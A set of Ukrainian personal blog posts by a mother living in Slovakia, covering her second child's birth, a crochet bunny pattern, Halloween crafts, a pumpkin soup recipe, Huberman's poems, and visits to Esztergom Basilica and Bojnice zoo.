Мама “в квадраті”

Привітик, народ!

Знаю, що я трохи (майже на місяць) пропала, але в мене на те є одна маленька, симпатична і дуже поважна причина – я вдруге стала мамою! (якось воно трохи кумедно звучить “мама по другому разу”, я ж уже й так мама, а тут знову стала мамою… “мама в квадраті”, так би сказати:) Та-та, маємо маленького Андрійка, і нам вже три тижні=)

Для початку, в кінці лютого до нас приїхала буся Оля – в гості і помагати, бо мені вже було дуже важко ходити, і Андрійко в пузіку так вовтузився, що аж дихання деколи перехоплювало. Улька перший тиждень від баби Олі не відходила ні на крок, таке враження, що дитина взагалі забула, що в неї ще мама і тато є. Виглядало то приблизно так:

Як то добре, я вам скажу, коли мама приїжджає в гості: в мене вдома такої ідеальної чистоти ніколи ще не було, посуд я вже й не пам’ятаю, коли в останнє мила, а Улька за місяць, здається, кілограми два як мінімум прибавила – в бусі Олі талант – відгодовувати малу:)
А дальше, в останній день лютого, натхнення Христею з її “мрійниками 2014“, я нарешті доробила свою дошку мрій, планів, захцянок і всяких там хочу. Вийшов в мене такий собі коллаж з усіляких милих серцю і настрійпіднімаючих дрібничок, фотографій, листівок, улюблених висловів:

А ще, моя “дрімборд” безстрокова – бо на неї можна чіпляти нові бажання і мрії, а ті що вже збулися – знімати, хоча, знімати ті, що збулися, наразі ще не хочеться))) З своєю нелюбов’ю до дат і термінів і часових обмежень, моя візуалізація бажань і мрій діє поки ті бажання і мрії не збудуться, хоча, з другої сторони, ті бажання розписані на весь рік… якась я трохи непослідовна, але так мені те мріяння відчувається наразі)))
Доробила я дошку, весь вечір її споглядала і уявляла, як то воно буде, і доуявлялася, що наступного дня побігла в лікарню, бо Андрійко слова “скоро буду” сприйняв, напевно, дуже буквально=) Так що отака от візуалізація бажань все таки працює краще за звичайний списочок;)
А дальше я полежала в лікарні ще кілька днів, і наш Андрійко вирішив, що йому вже пора. Народжувати дитину у Словаччині трохи інакше як в Україні. По-перше, тут страхова медицина, тому лежиш ти в роддомі і тебе нічого не обходить, взагалі: всі ліки тобі дають, сніданок, обід і вечерю (смачно, до-речі) приносять в палату, медперсонал уважний і привітний. Коли народився Андрійко, то для малюка треба мати лише підгузки і вологі серветки. І все. Шапочки, сорочечки, пеленки, кремчики і все інше дає лікарня. І навіть дитяче харчування в разі потреби тобі приносять, разом з бутилочкою, з якої малявку догодовувати треба. Комфортно і якось так зовсім не по-лікарняному.

Бути мамою по другому разу, я вам скажу, то вже зовсім інші відчуття: друга дитина вже якось спокійніше сприймається, бо вже знаєш, як з нею поводитися, вже нема того страху, що “я ж їй руки поламаю, поки переодягну”, і не бігаєш щоп’ять хвилин перевіряти, чи то мацьопство дихає, бо вже в курсі, що така малеча вміє просто дуже-дуже міцно спати, і пальці по кілька раз на день не перераховуєш (мені чомусь весь час здавалося, що в Ульки пальчиків забагато))), бо знаєш, що ніякий пальчик нікуди не пропав і новий не виріс… та багато чого інакшого;)
А ще появилося відчуття вини, бо Ульці тепер уваги приділяється менше, Андрійко ж на першому місці, так би сказати…
А ще розумієш, що обидвох дітей любиш однаково, бо я собі того якось не дуже уявляла, як то я буду любити ще когось крім Ульки:)
І тепер, коли не можна, мені страшно хочеться всяких некорисних смаколикиів – рибки копченої, ковбаски гострої, чогось дуже жирного смачного і калорійного… а не можна(
Зате Уляська молодець – братика сприйняла нормально: помагає мені, підгузки викидує в смітник, пильнує, щоб не плакав (зразу мене кличе, бо “батик Андійко пасє), цілує його, гладить, тулиться до нього,… любить, одним словом, а я з того дуже тішуся. А ще їй дуже цікаво процес годування ну і всякі “братикові” речі: в автокріслі погойдатися, в калясці полежати, з бутилочки чайочок попити…

Отакі от наші справи:)))

Ще почитаємося, па-па

Коли “внутрішнє я” захотіло, щоб йому надали слово і що з того вийшло…

Попередження: замітка буде довга, напевно трохи нудна і без фото. Це так-би сказати, моє “внутрішнє Я” захотіло собі вибалакатися, а “зовнішнє Я” йому милостиво дозволило це зробити і навіть ризикнуло оту балаканину оприлюднити;)))
Так що, автор допису не “зовнішнє і свідоме Я(ЯЗ), яке майже завжди пише тільки те, що думає і ретельно обдумує те, що пише”, а “Я внутрішнє(ЯВ) – імпульсивне і геть нерозважливе у тому, що балакає, тому пише те, що відчуває і зовсім не думає, чи варто то все писати”. 

Я внутрішнє: “Зима якби вже майже закінчується, а вона, здається, тільки-но починається… отакий от парадокс: як тільки в мене появився весняний настрій, а ЯЗ тільки-но почало підозрювати його появу – саме час витягати зимові чоботи, а то і ялинку знову ставити…
А ще ми вже цілий місяць прожили в новому році і моє ЯЗ дуже переймається тим, що ще не напланувало собі планів і не намріяло мрій на наступний 2014 рік. Я знаю, що планувати новий рік, зазвичай, прийнято до його початку і всі, хто мав бажання, це вже зробили, але…  Але, знову ж таки – парадокс – для мене початок нового року з новим роком якось зовсім не асоціюється, ну так вже я то відчуваю. Правда, ЯЗ щороку ці мої відчуття ігнорувало і вперто пов’язувало початок календарного року з початком нового року в своєму житті… Я в розумінні того, що ЯЗ сприймало новий рік як новий етап в житті, нову дистанцію на забіг по загадуванню-виконанню нових мрій, бажань, планів. Але то якось вже так є, що всі зовнішні Я, в своїй більшості, чекають на новий рік як на привід проаналізувати старий і напланувати новий наступний.  І зовсім не хочуть дослухатися до нас – внутрішніх Я, які кажуть, що щось нове в житті має починатися не з першого січня, а тоді, коли появиться бажання оте щось нове розпочати… ну… тобто, коли ми – внутрішні Я, почнемо відчувати необхідність розпочати оте щось нове… От.
Але для зовнішніх людських Я властиво очікувати на якусь визначну дату, щоб розпочати у нашому спільному житті щось нове: постановляють собі з понеділка робити зарядку, з першого числа сідають на дієту, з нового року починають зовсім нове життя…. і так далі. Наївні… думають, що воно так і буде і зовсім не враховують того, що якщо ми – внутрішні Я, не захочемо робити зарядку чи сидіти на дієті, то жоден понеділок чи перше число чи інша дата нас до цього не змусять. Ну хіба що сила волі зовнішнього Я змусить те все робити… Але де ж тут задоволення від зробленого? Без задоволення від виконаної роботи, я вам скажу,  жодне Я, ні внутрішнє, ні зовнішнє, довго не протягне, що би сила волі там не робила.
А скажіть мені ще таке, якщо мені  захочеться робити зарядку в середу, наприклад, то чому би нам ту зарядку не розпочати робити саме з середи?  Але якщо моє ЯЗ запнеться і скаже “Та ну…. середа, якось не вписується в графік, давай з понеділка вже точно”, то в понеділок, коли ЯЗ проснеться і якщо згадає, що обіцяло собі розпочати робити зарядку, я йому скажу: “А тепер мені не хочеться, тому чекай, коли я знову захочу робити зарядку, або ж роби її на силу… і ніякого задоволення від того мати не будеш”. Якщо сила волі переможе, то ЯЗ буде мордувати нас обох зарядкою. Правда, моє особисте ЯЗ трохи ліниве, тому воно скаже “Та ну її, ту зарядку, може з наступного понеділка….” і ще собі трохи поспить.
Як результат – в нас була купа понеділків, з яких ми починали робити зарядку, яку ми так і не робили.
Напрошується висновок: “треба слухатися свого ЯВ і не чекати на якусь спеціальну дату для того, щоб розпочинати робити те, що хочеться робити просто зараз“.

Хоча мушу визнати, це логічно, зручно і розумно – коли ЯЗ ділить своє життя на певні дати-періоди, складає списки справ чи чого іншого і встановлює терміни на їх виконання-здійснення.  Бо моє ЯЗ трохи забудькувате, а я часто хочу все й одразу, тому моє ЯЗ просто змушене всі мої хочу записувати, щоб потім не забути про них. МИ обоє маємо велику схильність все по поличках розкладати, систематизувати, зводити все до чогось спільного і складати списки: що зробити, що почитати, що подивитися, що спробувати, що… і ще дуже багато що:))) І я точно знаю, що ми такі не одні, еге ж?
Цього нового року бажання планувати “новий етап в житті на наступний рік” в мене зовсім не було, як завжди. Моє ЯЗ читало замітки знайомих про їх плани і мрії на наступний рік, і ми обоє дуже тішилася за них і думали, що як це класно отак намріяти собі наступний рік, мати на це час і натхнення робити дошки мрій, складати списки бажань і так далі. Бо особисто в мене була проблема саме з натхненням, а точніше, натхнення вимріювати-виплановувати наступний рік в мене взагалі не було. Відповідно, моє ЯЗ теж не мало настрою це все робити. Тільки уявіть собі – нам було лінь вимріювати наступний рік!
І знаєте що? Моє ЯЗ прислухалося до моїх відчуттів і не стало змушувати нас визначатися з планами на 2014 отак прямо з грудня-січня. Як кажуть словаки, моє ЯЗ викашлялося на всі ті дати і “бо так заведено” і вирішило чекати відповідного настрою і бажання, щоб розпочати наш власний новий рік в житті.
А сьогодні ми разом проснулися з отаким от настроєм і бажанням – визначитися з своїми “хочу” і “маю то зробити” на наступний… е-е-ееее, – просто визначитися. Я все ще проти дат і термінів, тому ЯЗ вирішило не встановлювати якихось конкретних часових меж.
Тож МИ вирішили просто відвідати нашу країну бажань, поселити туди нових мешканців, урочисто відправити на пенсію  старичків, а ще всі ті бажаннячка гарно помістити на дошку мрій, щоб ЯЗ щодня могло їх візуально споглядати і перечитувати. Це буде кращим стимулом до їх виконання, ніж встановлювати собі на то якийсь конкретний період. От.”

Я зовнішнє: “Отакий от допис в мене (чи то в моїх Я) написався…на одному диханні, так би сказати.
Напевно, все таки варто трохи частіше дослухатися до свого внутрішнього Я, бути деколи імпульсивною і не роздумувати над тим, чи треба то робити саме сьогодні чи ще зачекати відповідної дати… Ні, не так… сформулюю то інакше – “не треба чекати на якусь особливу дату, щоб зробити те, що вам хочеться зробити просто зараз“.
А просто зараз в вікна присвітило сонечко, і сніг від учора майже весь розтопився… і моє внутрішнє Я захотіло провести в квартирі генеральне прибирання, так що я побігла, поки воно не передумало;)))

Чао)

Про зайців, хелловін і про те, як восени запастися весною на зиму!

Привітики!

Значить про зайців: якщо я вам ще не набридла зі своїми зайчиками, то похвалюся третім, і, наразі – останнім, зайцьом-посміхайцьом:

В попередньому дописі я давала посилання на майстер-клас створення такого зайчика, але так як цей трошки більший і трохи інакший, я дуже довго мордувалася, щоб намалювати схему в’язання. Схемка читабельною не вийшла, тому просто додаю опис в’язання.
Тулуб:
1 коло – ланцюжок з 4 повітряних петель (пп)
2 коло – в першу пп вв’язати 13 стовпчиків з накидом (сзн), замкнути коло з’єднувальною петлею (виходить коло із 14-ти стовпчиків з врахуванням “стовпчика” із 3-х пп)
3 коло – змінити колір нитки, 3 пп підйому і поміж сзн попереднього кола вв’язати по 2 сзн, коло замкнути з’єднувальною петлею (всього виходить 28 сзн, в тому числі і “стовпчик” із 3-х пп)
4 коло – змінити колір нитки, 3 пп підйому і поміж кожні 2 сзн попереднього кола вв’язати по по 3 сзн, замкнути коло з’єднувальною петлею (має вийти всього 42 сзн, в тому числі і “стовпчик” із 3-х пп)
5 коло – 3 пп підйому, 2 сзн в 2 петлі попереднього кола, в 3 петлю вв’язати 2 сзн. Дальше по кругу до кінця в кожну 3-тю петлю попереднього кола вв’язувати по 2 сзн, замкнути коло з’єднувальною петлею (має вийти всього 56 сзн, в тому числі і “стовпчик” із 3-х пп)
6 коло – 2 пп підйому, 1 напівстовпчик з накидом (нпсзн), 12 сзн, 1 нпсзн, 42 стовпчики без накиду (сбн), замкнути коло з’єднувальною петлею
7 ряд (голова) – 3 пп підйому, 2 сзн пров’язані разом, 8 сзн, 2 сзн пров’язані разом (всього якби виходить 10 петель на наступний ряд)
8 ряд – 2 пп, 1 нпсзн, 8 сзн, 1 нпсзн.
Має вийти така собі грушеподібна деталька. Аналогічно зв’язати ще одну таку саму.
Вуха:
1 ряд – ланцюжок з 19 пп (в т.ч. 1 пп підйому)
2 ряд – 2 сбн, 2 нпсзн, 2 сзн, 2 стовпчики з двома накидами, 2 сзн, 2 нпсзн, 6 сбн
3 ряд в’язати по колу (чи то овалу;), обв’язуючи попередній ряд з стовпчиків – 8 сзн, 2 сзн в 1 петлю попереднього ряду, 1 сзн, 2 сзн в одну петлю попереднього ряду, 6 сзн, 4 сзн в 1 петлю(верх вушка), 6 сзн, 2 сзн в 1 петлю попереднього ряду, 1 сзн, 2 сзн в одну петлю попереднього ряду, 8 сзн
4 коло – 20 сбн, по 2 сбн в наступні 3 петлі попереднього ряду(верх вушка), 19 сбн
5 коло – обв’язати вушко напівстовпчиками, щоб зберігало форму.
Лапи: схемка є тут.
Мордочка – коло з 12 сзн.
Цей, такий собі осінній зайчик, мав би стояти в мене на кухні з букетиком осінніх листочків і парасолем (така була задумка), але так як догачкувала я його якраз під хелловін, то, відповідно, зайчик в мене зараз в хеловінському наряді:)

Про хелловін: в Україні хелловін чи то день всіх святих так маштабно як в Словаччині не святкується. А тут першого листопада навіть державний вихідний день – щоб усі могли сходити на кладовище, запалити свічки, поставити квіти і згадати померлих. В принципі, це правильно. Тому тижні за два до цього всі магазини і супермаркети були просто завалені свічками, лампадками, вінками і іншою “декорачною” кладовищною атрибутикою. До речі, оті всі віночки з штучних квітів, шишок, гілля ялини коштують зовсім немало – від 5 євро за маленький віночок з 1-3 квіточок. А ще по магазинах купа великих гарбузів, щоб можна було вирізати з них страшні і не дуже мордочки, хелловінські костюми для дітей і дорослих, всілякі хелловінські іграшки – відьмочки, привиди. І було багато хелловінських вечірок. Навіть в малої Ульки в школі англійської мови влаштовували “гелловін-паті” для дітей. Так як ми ще хворіли, то пропустили(
Коли навколо тебе всі в страшному хелловінському ажіотажі і під час прогулянок містом весь час натикаєшся на всяке таке хелловінське, то в останній день жовтня, якраз по обіді, мене теж напала хелловінська гарячка: захотілося щось таке в стилі хелловіну і собі зробити. Найпростіше – задекорувати квартиру. А що можна придумати і зробити за пів дня? Багато, я вам скажу. І навіть ще більше, якщо не лягати в 9 годин спати через головну біль. Я до дев’ятої вечора встигла розмалювати мандаринки “а ля гарбуз”

і переодіти своїх зайців на привида:

і симпатичну відьмочку на мітлі (я ж казала, що зайці багатофункціональні))))

Привид вирізаний з старої простині і розмальований чорним маркером (як і мандаринки), плащ для відьмочки теж з простині замальований чорним маркером, мітла з олівця і ниток, а капелюх гачком зв’язаний, бо з паперу щось мені не клеївся.
В планах було ще зробити з паперу замок відьми на вікно і приліпити кілька кажанчиків, але спання перемогло) Улька, як проснулася з обіднього сну, дуже тішилася мандаринками – складала їх то на вікні, то на столі, робила вигляд, що боїться їх, страшила мандаринками мене… І навіть зайців зацінила – особливо привида). Так що певну дозу позитиву, навіть на хелловін – ми отримали.

Про запас весняного настрою на зиму: так так, в жовтні-листопаді саме час запасатися весняним настроєм на зиму. Бо напевно не тільки мене одну на лютий-березень нападає депресія – різдвяні свята вже закінчилися, а весни ще нема. Тому ми з малою Улькою садили квіти: гіацинти і нарциси. Мали бути ще тюльпани і підсніжники, але через ті всі хвороби-простуди я не встигла купити(. А зараз в продажу вже різдвяна атрибутика пішла.
Значить садили ми цибулинки в невисокі горщики, десь так на 2/3 запихаючи їх в землю, трошки полили водою і сховали… – в холодильник. Там темно і холодно – цибулинки будуть думати, що то зима. Але так як в холодильнику періодично появляється світло, цибулинки мають вологу, а холод аж не настільки великий – то десь місяців за 2 вони попускають листочки і квітконоси. А коли їх потім з холодильника витягнути і поставити на вікно – цибулинки від світла, тепла і водички, подумають, що то вже весна і почнуть цвісти. Минулого року такий експериментик я вже робила. Гіацинти були бомбезні і вдома тиждень пахло весною. От.
Приєднуйтеся і ви: будем на кінець зими тішитися весною в хаті разом.
А ще, переглядаючи свою книжечку забаганок, натрапила на весняний запис такого змісту: “Цікаво, чи в звичайному горщику буде рости звичайна кульбаба? А якщо її посадити з парашутиків? Прикольно буде зимувати з такою сонячною квіточкою на підвіконні:) Не забути!!! – запастися парашутиками“.
І знаєте що? Я згадала, що в кухні в якомусь стаканчику я все таки запасла отих парашутиків. То ж заодно з гіацинтами і нарцисами в окремий горщик висіяла і їх. А щоб кульбаба точно вже була, то ми з Улькою принесли з вулиці ще два корчики вуличної кульбаби і тепер вони теж живуть на балконі в квітковому горщику. І досить добре себе почувають. З морозами заберу їх в кухню на вікно, а там буде видно, що з тої затії вийде. Якщо зацвітуть – обов’язково похвалюся)

Папа, і затишної вам осені:)

Осінь пахне гарбузами… і гарбузовим супчиком;)

Вітаннячка!

Як казав мій коханий чоловік: “Весна запізнилася, літо тоже, а от осінь прийшла точно по графіку”))) А я люблю осінь, люблю коли листя шурхотить під ногами, коли хочеться чаю і приходить особливий смак на книжки. Я вже писала, що мені книжки осінню читаються найкраще… А ще люблю осінній дощик-мряку, тумани, і прохолодні ранки. Люблю як пахне осінь: пожовклим листям, туманом, скошеною травою (восени вона має особливий і зовсім нелітній запах), яблуками, медом і м’ятним чаєм. А тут, в Словаччині, осінь найбільше пахне гарбузами. Якби ж хтось додумався зробити парфуми із запахом осені… це було би чудово…
В Левіце осінь почалася практично з першого вересня: отак зранку встала, подивилася в вікно і перша думка: нарешті вже осінь! А десь так з тиждень тому в супермаркетах і на ринку появилися гарбузи. Багато гарбузів, якщо точніше. Словаки дуже різноманітно вживають їх як їжу. Тільки в супермаркеті я нарахувала десь так з шість видів гарбузів. І так вони мені запахли, і так захотілося чогось гарбузяного, що аж слинка потекла)))
Одразу згадала, як колись в Луцьку, в піцерії Фелічіта (здається так називалася) я вперше в житті попробувала гарбузового супчику-пюре. І такий він був добрий-добрий! До слова, тоді в Луцьку, в цій піцерії, я їла найсмачнішу у світі піццу з дуже незвичайним поєднанням інгредієнтів для начинки. До тепер я такої смачнючої піци більше ніде і ніколи не зустрічала. А ще згадала мамині гарбузові молочні каші, з рисом чи манною крупою, як ми на пару з малою Уляською їх наминали. А ще до того всього в когось у блозі прочитала, що їли гарбузовий супчик… То вже був знак згори, що треба і собі чогось “згарбузянити”)))
Так що я просто не могла не купити гарбуза. Два дні я вишукувала рецептик гарбузового супу-пюре, але хоча інтернет то добра штука, деколи виданої ним інформації буває аж забагато. Рецепти всі дуже різні з різними інгредієнтами, так що не зупинившись ні на чому конкретному, я відкрила холодильник, витягла звідти все, що мені би хотілося додати до супчику і включила фантазію на половину з шостим чуттям. Одразу ж похвалюся, що супчик мені вийшов дуже, ну дуже добрим. Я на такий результат навіть не розраховувала, якщо чесно. Рецепту детального не дам, бо все додавала на око і орієнтувалася на власний смак.

Значить так:
– зварила овочевий бульйон: половина пучка цибульки-поррей, звичайна цибулька, корінь петрушки, пару горошин пахучого перцю, пучок зеленої петрушечки і лавровий листочок;
– пів цибульки і зо два зубчики часнику дуже легенько підсмажила на оливковій олії, так, щоб цибулька стала прозора;
– десь так з пів кілограма почищеної і нарізаної кубиками мякоті гарбуза + одна натерта на дрібній терці морква + ота смажена цибулька з часничком + трошки води розварила в каструльці, розімяла товкачиком до картоплі і чесно, пів години перетирала то все через сито, бо мій блендер поламався, а мені хотілося, щоб не було жодної грудочки;
– дальше оте гарбузове пюре (яке дуже солодке спочатку) я вже на власний смак розбавила овочевим бульйоном і вершками, посолила собі до смаку + чайна ложечка солодкої червоної паприки і “розтопила” в тому пюре два плавлених сирочки (то треба весь час помішувати поки супчик не почне закипати, а сирочок не розплавиться, головне, щоб не кипів, бо тоді втрачається вершковий смак);
– на сам кінець додала дуже дрібно порізаної петрушечки.
Смак в супчику виходить досить незвичайний і дуже-предуже вершковий, і такий ніжний-ніжний… Вже в тарілці посипала зверху смаженими гарбузовими зернятками, спеціями “для овочевого салату”. А щоб смак супчику був більше вираженим, до нього ідеально пасують смажені на маслі грінки, натерті часничком.
Ще один секретик такого супчику – його не треба їсти гарячим, найбільше смак проявляється тоді, коли він приємно теплий, а гарбузове насіння хрумтить на пару з грінкою.
Смачного вам, а мені, поки я це все писала, знову запахло гарбузом, тому я йду доїдати свій вчорашній супчик. Так що мені теж смачного.

Ще почитаємось)

П.с. порадьте ще чогось смачного гарбузяного;)

Почитати: І.Губерман “Гарики на каждый день”

Коли приходить осінь, то це завжди чебрецевий-м’ятний з імбирем та медом чай, класична музика і книжки. Якось книжки мені найбільше пасують до осені, якось по-особливому читаються і мають якийсь особливий смак… В мене навіть є кілька улюблених книжок, бажання які перечитати виникає саме восени, але про них пізніше.
Я тут недавно заглянула у свою книжечку захцянок на сторінку “хочу почитати”, і тицьнувши пальцем навмання, вибрала для читання такого собі пана Губермана.
Колись, перечитуючи свіжу замітку однієї з моїх блогоколіжанок з м’якеньким ніком Ведмежа, прочитала один єдиний віршик цього автора, і він відразу потрапив до списку “хочу почитати”.
Про автора нагуглила таке: Губерман Ігор Миронович (7 липня 1936, м. Харків) – радянський та російський поет та письменник єврейського походження. Автор власної віршованої форми під назвою «гаріки». Саме ці гаріки я нагуглила на предмет “почитати”. Більше нічого писати не буду, читайте самі (це мої улюблені), слухайте Чайковського, отримуйте задоволення і гарного настрою вам на весь день=)

В сердцах кому-нибудь грубя,
ужасно вероятно
однажды выйти из себя
и не войти обратно.

Смешно, как люто гонит нас
в толкучку гомона и пира
боязнь остаться лишний раз
в пустыне собственного мира.

Красив, умен, слегка сутул,
набит мировоззрением,
вчера в себя я заглянул
и вышел с омерзением.

Будущее – вкус не портит мне,
мне дрожать за будущее лень;
думать каждый день о черном дне –
значит делать черным каждый день.

В жизненной коллизии любой
жалостью не суживая веки,
трудно, наблюдая за собой,
думать хорошо о человеке.

Я не верю вранью отпетому
о просвете во мраке мглистом.
Я отчаялся. И поэтому
стал отчаянным оптимистом.

Тому, что в семействе трещина,
всюду одна причина:
в жене пробудилась женщина,
в муже уснул мужчина.

Прожив уже почти полвека.
тьму перепробовав работ,
я убежден, что человека
достоин лишь любовный пот.

Поскольку жизнь, верша полет,
чуть воспарив – опять в навозе,
всерьез разумен только тот,
кто не избыточно серьезен.

В цветном разноголосом хороводе,
в мелькании различий и примет
есть люди, от которых свет исходит,
и люди, поглощающие свет.

Найдя предлог для диалога,
– Как ты сварил такой бульон?
спрошу я вежливо у Бога.
– По пьянке, – грустно скажет Он.

Как молод я был! Как летал я во сне!
В года эти нету возврата.
Какие способности спали во мне!
Проснулись и смылись куда-то.

В нашем климате, слезном и сопельном
исчезает, почти забываемый,
оптимизм, изумительный опиум,
из себя самого добываемый.

Случилось нынче на потеху.
что я, стареющий еврей,
вдруг отыскал свой ключ к успеху,
но не нашел к нему дверей.

Теперь я понимаю очень ясно,
и чувствую и вижу очень зримо:
неважно, что мгновение прекрасно,
а важно, что оно неповторимо.

Бывает – проснешься, как птица,
крылатой пружиной на взводе,
и хочется жить и трудиться;
но к завтраку это проходит.

Умру за рубежом или в отчизне,
с диагнозом не справятся врачи:
я умер от злокачественной жизни,
какую с наслаждением влачил.

Базиліка. Естергом. Угорщина.

Привітики!

Ділюся враженнями, поки ще свіжі. На вихідних ми відвідали Базиліку в угорському містечку Естергом. Спочатку думала тільки фотки закинути і власні враження трошки дописати, але щоб картинка булу цілісною і ви не лазюкали гуглом і вікіпедією в пошуках додаткової інформації про Базиліку, я потрохи буду її наводити поміж власні враження. Попереджаю зразу, буде багато фоток і не завжди якісних. Це ж бо я фоткала=Р
Поїхали:


Повна назва базиліки звучить як базиліка вознесіння пресвятої діви Марії і святого Адальберта. Є головним католицьким храмом в Угорщині і служить кафедральним собором архієпархії Естергома-Будапешта (велика шишка серед церков Угорщини=).
Як каже вікіпедія, це найбільша церка і найвища будівля в країні: довжина будівлі — 118 метрів, ширина — 49 метрів, а висота — 100 метрів. Окрім того, знаходиться на високій горі на березі річки Дунаю, що ще більше додає величі і висоти. Принаймні, зі сторони Словаччини, Базиліку видно задовго до того, як до неї доберешся.

Отам, в самому низу, якщо придивитися, то побачите Ігоря з Улькою.

Реально, будівля велетенська, і якщо стояти внизу під стіною, а голову задерти вверх і дивитися “по стіні на небо”, то в в голові починає макітритися, втрачається точка опори під ногами і відчуваєш себе такою маленькою-малеееееенькою казявкою (і чому такого відчуття нема, коли дивитися на мракодрап(словацький хмарочос, хмародряп чи хмарочіх чи як там правильно буде… ну ви зрозуміли, я думаю)))




Базиліка була заснована в 1001 році, але реально розбудована з 1822 по 1856 роки. Тому виглядає не дуже древньою, але все одно, через те, що зовнішні стіни побудовані з великих кам’яних блоків, відчуття чогось такого нетеперішнього червячком лазить десь там в середині і перехоплює дух.

Купа туристів і мадярів з капелюхами, які за будь-які гроші будуть намагатися вам їх продати. З початкових 5 євро нам ціну збили до 3, але ми все таки не купилися).
Для початку ми обійшли навколо базиліки, бо краєвиди звідти просто неперевершені.

Улька тішилася і весь час кричала, щоб її підняти вверх бо “Няня нісього не басє”.




Тому коханий чоловік висадив її на шию, а вона, як істинна жінка, сперлася татові на голову і звісила нозі, за які тато дитину тримали, щоб та не беркицькнулася до низу. Бо сидіти спокійно і нерухомо, навіть на шиї, наша дитина просто не вміє)))

Дальше зайшли в середину, де в сувенірному магазинчику купили собі магнітик і ще щось там на згадку.
Потім зайшли безпосередньо в сам храм, помолилися, поставили свічечки за здоров’я. Улька посиділа на лавочці і навіть встигла з неї звалитися з плачами “Няня впаваааа”.
В храмі знаходиться велетенський орган, змонтований в 1856 році. На час будівництва він був найбільшим в Угорщині і мав 3530 труб, 49 регістрів і 3 мануали (що воно таке я не в курсі). Потім орган був кілька разів реконструйований. Востаннє в 80-х роках 20 століття і до цього часу реконструкція так і не завершена повністю. Зараз орган має 85 регістрів і 5 мануалів, планується, щоб регістрів було 146, що зробить його третім по величині в Європі. Розмір труб від 10 метрів до 7 міліметрів. Дуже хочеться його послухати. Чудова музика, напевно…
В середині храм трохи інакший, ніж я звикла. Над алтарем знаходиться велика ікона розмірами 13,5 на 6,6 метрів, яка є найбільшою в цілому світі з числа написаних на цілісному куску полотна (так каже вікіпедія). Присвячена ікона вознесінню Богоматері і була написана венеціанським майстром Мікеланджело Гріголетті. Збоку знаходиться кафедра єпископа.
Люблю в церкві дивитися вверх під купол, це якось так заворожує… Кажуть вся позитивна енергія від богослужінь скопичується під оцим центральним куполом. Особливо гарно і якось навіть містично це все виглядає, якщо сонце світить через вікна під куполом на образи і можна навіть розрізнити ці окремі промінчики світла. 

Багато фото в середині самої церкви не робила… було якось незручно клацати фотоапаратом і порушувати ту особливу атмосферу затишку і якогось такого умиротворіння чи що.
А, ще варто знати, що для того щоб зайти в середину храму маєте бути відповідно одітими: дівчата у спідницях до коліна і закритим верхом, може бути і футболка (в розумінні не короткі топи, щоб живіт і груди були менш-більш прикритими) і чоловіки в штанях, а не шортах. Хоча когось, хто б за цим слідкував, я не побачила, а народ в середині був одітий дуже різношерстно: і в шортах, і дівчата в штанях і спідницях вище коліна… думаю, основне, щоб одяг не був вульгарним і хоч якось відповідав місцю знаходження його хазяїна.
Цікава базиліка ще й в тим, що за 2 євро(здається) з людини можна піднятися вверх на самісінький купол і обійти його по кругу з зовнішньої сторони. Сходи йдуть по кругу і розраховані лише на одну людину. Тому туристів пускають по кілька людей, а вихід з купола зовсім інший, бо розминутися на тих східцях неможливо. Через те, що сходи дуже вже сильно по кругу і здається, що вони безкінечні (я забула порахувати), поки ми вийшли на верх, в мене закрутилася голова і було відчуття пройденого марафону в хто-зна скільки кілометрів. Якби я палила, то після тих сходів обов’язково кинула б=) Ноги болять до тепер. Але вибратися на купол вартує будь-яких зусиль, бо те, що ви побачите обійшовши його по кругу, вартує тих сходів 100 тисяч разів і більше.
І навіть попри боязнь висоти це круто – пройтися по куполу базиліки.
Улька весь час кричала “Ух ти… як кьисьиво!!!” і їй було пофіг на висоту.
Дихання направду перехоплює – чи то від страху, що ти майже на 100 метрів ближче до неба і стоїш на півметровій дощечці з метровою огорожею
чи то від побаченої краси, чи то від одного і від другого вкупі… Там треба постояти, щоб оте все відчути, бо ні словами, ні фотками я того не передам.

Є ще біля базиліки щось таке як  замок, відреставрований, судячи з усього. Ми його оглянули згори і всередину вже не заходили.
Накінець ми поїли морозива, спустилися ліфтом в винні погреби, які є під базилікою і де можна попробувати і купити всякого різного угорського вина, а ще почитати його історію. Є тут і ресторанчик з шведським столом, де можна поїсти, правда цін не знаю. Парковіско (стоянка) є біля самої базиліки і коштує 2 євро за цілий день.
В Угорщині своя грошова одиниця – форінти по курсу в районі 180-300 форінтів за 1 євро, але можна розраховуватися і в євро, правда курс буде не таким вигідним як в обмінниках.
До слова, персонал в базиліці майже весь спікає інглішом, тому порозумітися не проблема. А якщо знаєте угорську, то взагалі))).
Якщо їхати в Естергом, то можна ще заїхати на їхній аквапарк, або в сусіднє словацьке містечко Штурово. Там теж є хороше купаліско. Всього-то переїхати по мості через Дунай.
Поки писала, погуглила, що в базиліці можна було набагато більше всього подивитися і що ми досить всього пропустили. Але то залишимо для оглядин на наступний раз)

Оце все, наразі, ще почитаємось=)
Па-па

Знайомтеся: найбільший зоопарк Словаччини в Бойніце

Вітаннячка з Словаччини!
Тут нарешті трошки похолодало і я дістала сили і натхнення хоч щось робити;) От ніколи людина, напевне, не буде абсолютно задоволеною… особливо погодою. У Львові я стогнала і нарікала на дощ, а приїхали до Левіц як в Африку: неймовірна спека і ні каплі дощу, ні подиху вітру… Не повірите, але зранку в 6.00 годин на градуснику майже +30… а на сонці через обід цілих +64 якось було… і в хаті вночі +30… повний капець( я ходила як варена і абсолютно нічого не хотіла,… тобто, щось та й хотіла, але сама не знала чого) Так буває, особливо в жінок)))
Так, ліричний відступ на погоду завершено, тепер про цікавіше: ми на кінець-то розпочали трошки вивчати Словаччину і першим в списку був найбільший зоопарк Словаччини в Бойніце. На сторінці зоопарку можете собі глянути всіх звірюк, що там живуть.
Бойніце (словацькою Bojnice) це невеличке містечко в західній Словаччині з населенням десь під п’ять тисяч, але дуже цікаве в плані погуляти-подивитися: бо є тут найбільший зоопарк Словаччини, замок і купаліска з мінеральними джерелами, тобто басейни, а ще кажуть, варто відвідати костел святого Мартина і якусь печеру, та й саме містечко, в цілому, дуже мальовниче. Містечку цьогоріч якраз 900 років було.
